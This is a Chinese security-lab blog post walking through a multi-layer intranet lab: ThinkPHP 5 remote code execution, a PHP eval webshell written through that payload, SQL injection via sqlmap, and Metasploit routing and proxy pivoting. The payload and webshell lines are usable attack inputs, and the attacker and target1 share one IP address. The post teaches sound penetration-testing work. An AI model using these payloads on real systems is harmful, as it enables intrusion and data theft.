【干货分享】CFS多层内网几个注意点与原理详解
2022-11-15 09:7:18 Author: 戟星安全实验室(查看原文) 阅读量:8 收藏

从CFS多层内网了解真实内网环境中可能出现的转发、代理等问题,并通过这些问题练习代理技术并探究其原理

环境介绍

Hacker(kali) :192.168.1.128
Target1(centos):192.168.1.128/192.168.22.22
Target2(ubuntu):192.168.22.23/192.168.33.22
Target3(windows2007):192.168.33.33

常规渗透

在kali机上,使用nmap对目标target1进行信息收集:nmap -sS -v -A 192.168.1.128(尝试下这个会更快:nmap 192.168.1.128 -p1-65535)。nmap扫描时发现80端口开放,直接尝试访问web页面,发现是很明显的thinkphp5.0框架

使payload测试下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
发现存在ThinkPHP5命令执行漏洞

执行命令写入shell:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['peiqi'])?>" > peiqi.php

成功写入shell

使用蚁剑成功连接

添加路由

按照渗透的流程来说,使用Kali攻击机对target1做信息收集之后通过80端口访问target1,寻找漏洞写入木马,蚁剑连接之后需要通过MSF拿到 target1的 meterpreter shell。在拿下target1主机之后,需要寻找下一层主机的信息

通过MSF的“run get_local_subnets”命令可以查看已拿下的target1主机的内网IP段情况

可以看到target1存在1.0/24和22.0/24两个网段。因为多层环境,所以一台机器上可能存在多个网段,在target1上发现多个网段,就证明存在另一个内网环境target2

这个时候会遇到第一个注意点--添加路由

因为Kali攻击机不能直接访问target2。我们想要访问到target2就需要target1当作跳板。众所周知,路由的作用就是连接不同的网络。不同网段之间通信的时候,通过查找路由表来判断下一跳指向从而发送IP包进行通信。不添加22.0/24路由的话,没有指向22.0/24网段的下一跳,就无法寻找到22.0/24网段

在target1这台主机上存在两个网段:192.168.1.0/24、192.168.22.0/24。kali攻击主机所在网段是1.0/24,渗透过程中我们是通过1.0/24这个网段突破进来的,建立会话也是建立在kali和target1共有的1.0/24网段上。如果kali攻击机想和22.0/24网段建立起连接,我们就需要在target1的路由表里面添加一条指向192.168.22.0/24网段的路由,这样kali主机就可以访问到22.0/24网段了

使用“run autoroute -s 192.168.22.0/24”添加路由后,“run autoroute -p”查看路由情况

为什么要添加路由的操作全部在kali上完成,是因为只有在kali上寻找到去往22.0/24、33.0/24网段的下一跳,数据报文才能够被发往下一个节点,也就是才能和22.0/24、33.0/24网段通信。即只要A能连接外网Z,B连接A,C连接B,这样依次类推,无论内网有多少层,只要设备相邻,都能够用A当做跳板根据路由表寻找下一跳所在的地址,进行访问

添加代理

添加路由之后,会遇到第二个注意点--添加代理

到现在为止,我们的访问受限于MSF监听会话,想要突破这层限制(也就是进行其他操作,比如扫描target2的端口啊,利用target2主机的漏洞上传木马啊等操作),就要开启一个代理。这个代理相当于开启一个接口,让外部(非target1,这里指的就是kali)能够不受MSF会话限制通过访问这个接口来访问target2

使用MSF自带的代理模块来完成代理:

另外需要修改kali主机的“/etc/proxychains4.conf”文件。在文件末尾修改成刚刚的配置信息

具体就是开启了一个socks代理,监听kali本地端口,将流量通过这个本地端口转发给MSF,MSF中有指向target2的路由,这样我们就可以使用其他工具对target2进行一些探测。事实上MSF中的msf6对应socks4,命令“use auxiliary/server/socks_proxy”使用代理模板。如果是msf5,就是“use auxiliary/server/socks4a”或者“use auxiliary/server/socks5”。版本不同使用的代理模板也不一样,使用错误会导致开启代理失败

代理开启之后,我们就可以通过代理对22网段的target2进行端口扫描等信息收集操作

在浏览器上添加代理之后,还可以访问刚刚端口扫描出来的target2的80端口

反向后门

当我们拿下target1的时候,利用的是反向后门连接。MSF生成的反向后门文件被上传到target1运行后,Target1主动连接kalikali监听本地开启的反向后门中的端口,等待target1的连接

反弹后门有个特点是需要控制机一般具备公网地址,target1和kali处于同一个1.0/24网段,所以target1处于22.0/24网段也可以反向寻找并连接kali

正向后门

能够访问target280端口之后,发现使用了bageCMS 3.1,可以尝试相关漏洞,看看能不能拿shell

dirsearch扫描一下目录。翻看一下目录,发现robots.txt中可以找到后台登录地址

访问登录口,发现存在验证码

登录口不要贸然爆破,一番尝试之后,发现登录口存在SQL注入。尝试跑一下:
sqlmap -u "http://192.168.22.xx/index.php?r=vul&keyword=1" --proxy=socks4://192.168.1.xx:2222 --current-db

一层一层将数据跑出来之后,可以获取到后台登录口的账号密码,直接登录之后,寻找能拿shell的功能点。后台存在编辑器功能,使用编辑器写入一句话木马:

写入一句话木马后用蚁剑连接之后,需要target2的 meterpreter shell
这里就遇到了注意点三--正向后

拿到target1的meterpreter shell是进行了一个反向后门连接。但是如果这时候依旧使用反向后门连接就会发现,target2是无法连接到kali进行反弹shell的。但是因为target1这个跳板在,我们是可以连接到target2的,所以这里想要拿到target2的meterpreter shell,需要进行一个正向后门连接。也就是需要kali主动连接target2,在target2上开启监听等待kali连接

使用MSF生成正向马,上传到target2执行之后进行一个正向连接

获取target2的meterpreter shell之后,就像拿下target1一样,查看路由表,找到target3,对target3进行信息收集,根据收集到的信息查看突破口

工具推荐

ThinkPHP漏洞检测工具:https://github.com/Lotus6/ThinkphpGUI

声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

戟星安全实验室

# 长按二维码 || 点击下方名片 关注我们 #


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDMwNzk2Ng==&mid=2247506751&idx=1&sn=935e117ff21002798a610bac8b5c858c&chksm=c27ed12ef5095838460cfc908dee4c9af0165e523533159ca3f64a2c7fa5af056dc5eb746b5d#rd
如有侵权请联系:admin#unsafe.sh